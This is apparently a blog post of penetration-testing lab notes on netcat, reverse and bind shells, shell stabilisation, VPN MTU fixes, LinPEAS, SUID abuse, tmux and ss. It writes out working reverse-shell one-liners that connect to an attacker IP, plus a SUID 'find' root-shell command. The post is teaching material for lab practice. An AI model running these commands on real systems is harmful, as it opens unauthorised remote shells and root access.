Linux Lab Pitfalls That Will Cost You Hours
Some of these I hit face-first in a lab session. Others I thought I understood until I had to explain them out loud and realized I actually didn't. Netcat, MTU, SUID, shell stabilisation, these aren't exotic edge cases. They come up constantly, and most resources either skip the "why" entirely or bury it in man pages nobody reads.
This is my attempt to actually understand them, documented as I go.
How Netcat Really Works
Most people learn netcat as a magic command that "opens a shell." Type this, get that. It works, so nobody asks why.
Then something breaks and you have no idea where to even start.
twoHere's what's actually happening.
Netcat is just a pipe over a network
At its core, netcat (nc) does one thing: it opens a TCP (or UDP) connection and connects stdin/stdout of your terminal to that socket. That's it. Everything else is a consequence of that.
When you run a listener:
nc -lvnp 4444
You're telling netcat: listen on port 4444, and when someone connects, wire their traffic to my terminal's stdin/stdout.
When the target connects back:
nc 192.168.45.240 4444 -e /bin/bash
The -e flag tells netcat: after connecting, replace my stdin/stdout with this program. So /bin/bash now reads from the socket and writes to the socket. Your terminal on the other end is talking directly to bash.
No magic. Just plumbing.
Why your shell feels broken
Raw netcat shells are uncomfortable: no tab completion, Ctrl+C kills the connection, no arrow keys, commands like sudo and vim refuse to work.
The reason is that bash isn't running inside a proper TTY (teletypewriter, the thing your terminal emulator pretends to be). It's running as a dumb subprocess with its stdin/stdout redirected to a socket. No TTY means no job control, no signal handling, no interactive features.
This is why shell stabilisation exists, but that's a separate section.
The two modes: bind shell vs reverse shell
Reverse shell: the target connects to you:
# Attacker listens
nc -lvnp 4444
# Target connects back
nc 192.168.45.240 4444 -e /bin/bash
You need this when the target is behind a firewall that blocks inbound connections.
Bind shell: you connect to the target:
# Target listens
nc -lvnp 4444 -e /bin/bash
# Attacker connects
nc 192.168.45.240 4444
Simpler conceptually, but rarely works in practice because firewalls almost always block inbound on arbitrary ports.
In almost all labs, it's a reverse shell. Trust.
When -e doesn't exist
Many systems ship with a stripped-down netcat (OpenBSD variant) that doesn't have -e. You'll notice because the flag just gets ignored or throws an error.
The workaround: pipe through a FIFO:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.45.240 4444 > /tmp/f
Ugly, but the logic is the same: wire bash's stdin/stdout to the socket manually.
Or just use a bash one-liner instead:
bash -i >& /dev/tcp/192.168.45.240/4444 0>&1
This doesn't use netcat at all, bash itself opens the TCP connection. Handy when nc isn't available on the target.
If you're on a Proving Grounds target, there's a third option you'll see constantly: BusyBox. Many minimal Linux systems ship it as a swiss-army binary that bundles its own netcat implementation, and this one does support -e:
busybox nc 192.168.45.240 4444 -e /bin/bash
So if plain nc -e fails, try prefixing with busybox. It's almost always there on OffSec targets specifically because the base systems are stripped down.
Quick mental checklist when -e doesn't work:
busybox nc: try this first on PG targets- FIFO workaround: when busybox isn't available
bash /dev/tcp: when nc isn't on the system at all
We already mentioned it, so let's get on to shell stabilisation.
Shell Stabilisation
You caught a shell. It feels wrong immediately: Ctrl+C kills the connection,
arrow keys print garbage, tab completion does nothing. You're in a raw,
unstabilised shell and it's painful to work in.
Here's how to fix it, in order of what actually works in practice.
Why it feels broken
Your shell isn't running inside a proper TTY. Netcat wired bash's stdin/stdout
to a socket, but bash has no terminal to talk to.
No job control, no signal handling, no interactive features. Stabilisation means giving it one.
Method 1: python3 (mooostly reliable)
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Now background it:
# Ctrl+Z
stty raw -echo; fg
pty.spawn creates a proper pseudo-terminal for bash to run in. Thestty raw -echo; fg part disables input processing on your terminal so
keypresses pass through cleanly instead of being intercepted.
python3 is on almost every modern Linux target. Try this first.
python -c 'import pty; pty.spawn("/bin/bash")' # fallback if python3 isn't available
Method 2: script (no python needed)
script /dev/null -c bash
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
script is a standard Unix utility that records terminal sessions, but here
you're abusing it to spawn bash inside a PTY. /dev/null just discards the
recording. Works on virtually any system, no Python required.
Method 3: rlwrap (attacker side only)
rlwrap nc -lvnp 4444
The lazy option: run this before catching the shell. rlwrap wraps your
netcat listener with readline, giving you arrow keys and history without
touching the target at all. Not a full TTY, but good enough for quick work.
Method 4: socat (best TTY, rarely available)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:KALI_IP:4444
socat gives you the most complete TTY: Ctrl+C works, full tab completion,
everything behaves normally. The catch: socat needs to be on the target, and
it almost never is on a stripped-down system. If it's there, use it.
Otherwise, don't count on it.
Method 5: perl / ruby
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
Last resort. These don't give you a TTY at all — they just replace the current
process with bash, which can sometimes behave better than a raw shell. Not
worth relying on.
What You Might Consider after Stabilising
stty rows 38 cols 116 # match your actual terminal size
export TERM=xterm-256color
Without the stty line, tools like vim and less will render broken because the
shell doesn't know your terminal dimensions. Run stty size in your local
terminal first to get the right values.
Practical priority
| Method | When to use |
|---|---|
| python3 | Default — try this first |
| script | python not available |
| rlwrap | Quick work, don't need full TTY |
| socat | When you get lucky and it's installed |
| perl/ruby | Nothing else works |
The MTU Trap: When your Labs won't load
This one is sneaky because everything looks like it's working.
nmap finds open ports. The VPN is connected. But the moment you try to load
a page in your browser or run curl, nothing. It just hangs forever.
The culprit is almost always MTU.
What's actually happening
MTU (Maximum Transmission Unit) is the largest packet a network interface will send in one piece.
Your VPN tunnel has overhead: it wraps your packets in its
own headers, so the effective MTU of tun0 is smaller than your physical
interface's 1500 bytes.
If nobody accounts for that difference, large packets get fragmented. And on many network paths, fragmented packets get silently dropped.
It is. You just can't see it.
Confirming the problem
# Force a large packet with the "don't fragment" flag
# If this times out or reports fragmentation needed → MTU mismatch confirmed
ping -c3 -M do -s 1400 <target-ip>
If you see Frag needed or the ping just times out while small pings work
fine, you've found it.
Fix
sudo ip link set dev tun0 mtu 1200
Then test immediately:
curl -v --max-time 10 http://<target-ip>/
If curl responds → done. If it still hangs, go lower:
sudo ip link set dev tun0 mtu 1000
Making it persistent
The ip link set fix dies when the VPN reconnects. Add these two lines to
your .ovpn file to make it permanent:
mssfix 1200
tun-mtu 1200tun-mtu sets the interface MTU. mssfix clamps the TCP MSS (Maximum Segment Size) in the handshake so both sides agree on packet sizing before any data flows. Both together means the problem shouldn't come back.
Now let's have a light section on something that might just annoy you, in a more or less funny way x).
When LinPEAS Turns Your Terminal Red
Not the good kind of red.
You transfer LinPEAS, run it, and your terminal explodes with sed errors,
twenty times over. Everything looks broken. You assume the target is cursed
and start questioning your life choices.
It's not the target. It's dash.
/bin/sh to dash instead of bash.LinPEAS has a bash shebang, but some environments ignore it and run it with whatever /bin/sh points to anyway. Dash doesn't speak bash, it chokes on bash-specific syntax and doesn't understand GNU sed's -E flag, which LinPEAS calls
constantly.
The fix is one word:
bash linpeas.sh -a | tee linpeas.out
Explicitly invoking bash overrides whatever /bin/sh would have done.
LinPEAS runs cleanly, the sed errors disappear, and your terminal goes back
to the normal kind of overwhelming.
You'll still see a few stray errors if the target's sed is ancient. That's
fine, ignore them, the results are valid. Focus on the actual findings.
What SUID Actually Is
Most explanations of SUID to me sound like "it runs as root." That's true but useless without understanding why it exists and what it actually means for you.
The problem it solves
Linux file permissions are simple: you run a program, it executes with your
UID. That's the whole model.
But some operations legitimately need elevated access regardless of who
triggers them. passwd needs to write to /etc/shadow, which is owned by
root and unreadable by regular users. You still need to be able to change
your own password. So how does that work?
SUID: Set User ID. It's a special permission bit that says: when this file
is executed, run it as the file's owner instead of the person who launched it.
passwd is owned by root and has the SUID bit set. When you run it as a
normal user, it briefly becomes root long enough to update /etc/shadow, then
exits. Controlled, intentional, scoped.
That's the design. The abuse is what happens when the program wasn't written
carefully.
What the bit actually looks like
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 /usr/bin/passwd
See that s where the owner execute bit (x) normally sits? That's SUID.
The file runs as root regardless of who executes it.
If you see a capital S instead, the SUID bit is set but the execute bit
isn't — the file can't actually be run. Interesting but not immediately useful.
Finding SUID binaries
find / -perm -4000 -type f 2>/dev/null
-perm -4000 means "has the SUID bit set." The - prefix means "at least
these bits" — so it matches regardless of what other permission bits are set.
You'll get a list. Most of it is expected:
/usr/bin/su
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
These are all intentional. The OS needs them. Ignore them. Everything else is a question worth asking.
Why unexpected SUID binaries are dangerous
The issue isn't SUID itself, it's SUID on programs that weren't designed to
be run with elevated privileges, or programs that can be made to do things
their authors didn't anticipate.
Take find with SUID set. Normally harmless. But find has an -exec flag
that runs arbitrary commands. If find is running as root:
find . -exec /bin/bash -p \; -quit
You just got a root shell. The program did exactly what it was designed to do, it executed a command. Nobody told it not to execute a shell.
This is the GTFOBins pattern. Most Unix utilities are flexible by design.
That flexibility becomes a privesc path the moment they run as root.
In https://niklas-heringer.com/skills-lab/introduction-to-regex/,
you'll find more on the neccessary pattern-matching.
The -p flag matters
When you spawn bash from a SUID binary, use -p:
bash -p
By default, bash drops elevated privileges when it detects it's been launched
with a different effective UID than the real UID, a safety feature. -p
disables that behaviour and keeps the elevated privileges. Without it, your
"root shell" is actually still running as you.
Workflow
# 1. Find everything with SUID set
find / -perm -4000 -type f 2>/dev/null
# 2. Filter out the expected ones
find / -perm -4000 -type f 2>/dev/null | grep -vE 'su$|sudo|passwd|mount|umount|chfn|chsh|newgrp|gpasswd|ssh-keysign|dbus-daemon'
# 3. Take whatever's left to GTFOBins
# https://gtfobins.github.io — search the binary name, filter by SUID
GTFOBins has a SUID filter specifically for this. If it's listed, there's a
known exploitation path. Copy, adapt, run.
One thing people miss
.sh file with SUID set, it won't run as root. Look for the interpreter it calls instead, or check if the script is writable (different problem, same outcome).tmux: Windows Are Not Panes
At some point you'll want to close "one of those split things" and accidentally
kill the wrong thing entirely. Here's the distinction before it costs you.
Windows are the tabs at the bottom. Panes are the splits inside a window.
Completely separate concepts with separate commands.
The one that always trips people up
Ctrl+b x # kills the current PANE (the split you're in)
Ctrl+b & # kills the entire WINDOW (all panes in it)
Wrong one at the wrong time and your nmap scan is gone.
Finding pane numbers
Ctrl+b q # flashes pane numbers on screen — act fast, they disappear
Then kill by number:
Ctrl+b :kill-pane -t 2
A few others worth knowing
Ctrl+b z # zoom current pane to fullscreen — same combo to unzoom
Ctrl+b { # swap current pane with the one above
Ctrl+b } # swap current pane with the one below
Ctrl+b Space # cycle through pane layouts (even/horizontal/vertical etc.)
Ctrl+b z is the one you'll actually use constantly, fullscreen a pane to
read output properly, unzoom to get back to the split. Much faster than
resizing manually.
Detach without losing anything
Ctrl+b d # detach from session — everything keeps running in background
tmux attach # come back to it later
VPN dropped, terminal closed, SSH timed out, doesn't matter. Your session
is still there.
Now one last learning that will help further your understanding greatly.
What ss -tulpn Actually Tells You
You run it because a cheatsheet told you to. The output scrolls past and you
grep for something interesting. But do you know what you're actually looking at?
ss -tulpn
# or, on older systems:
netstat -tulpn
The flags, decoded:
| Flag | Means |
|---|---|
-t |
TCP sockets |
-u |
UDP sockets |
-l |
listening only (not established connections) |
-p |
show the process using the socket |
-n |
numeric — don't resolve hostnames or port names |
-n matters more than people realise. Without it, port 80 shows as http,
port 22 shows as ssh. Fine for reading, annoying when you're grepping.
Reading the output
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* mysqld
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* sshd
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* java
The Local Address column is what you care about.
0.0.0.0:22: listening on all interfaces. Reachable from outside.127.0.0.1:3306: listening on loopback only. Only reachable from the machine itself.
That second one is the interesting find. MySQL bound to localhost means you
can't hit it directly from your attack machine, but you're already on the
target. You can reach it. And if it's running with weak credentials or as
root, that's your next move.
What to look for during privesc
ss -tulpn | grep 127.0.0.1
Anything on loopback that you didn't expect. Internal admin panels, databases, development servers left running, services the box exposes to itself that
were never meant to be touched from outside.
If you need to interact with them from your attack machine, SSH port forward:
ssh -L 8080:127.0.0.1:3306 user@target -N
# now mysql -u root -h 127.0.0.1 -P 8080 works from Kali
netstat -tulpn works identically if ss isn't available. On anything modern,ss is preferred: it's faster and part of iproute2. netstat is innet-tools, which is being phased out and missing on some minimal systems.
No spam, no sharing to third party. Only you and me.
Member discussion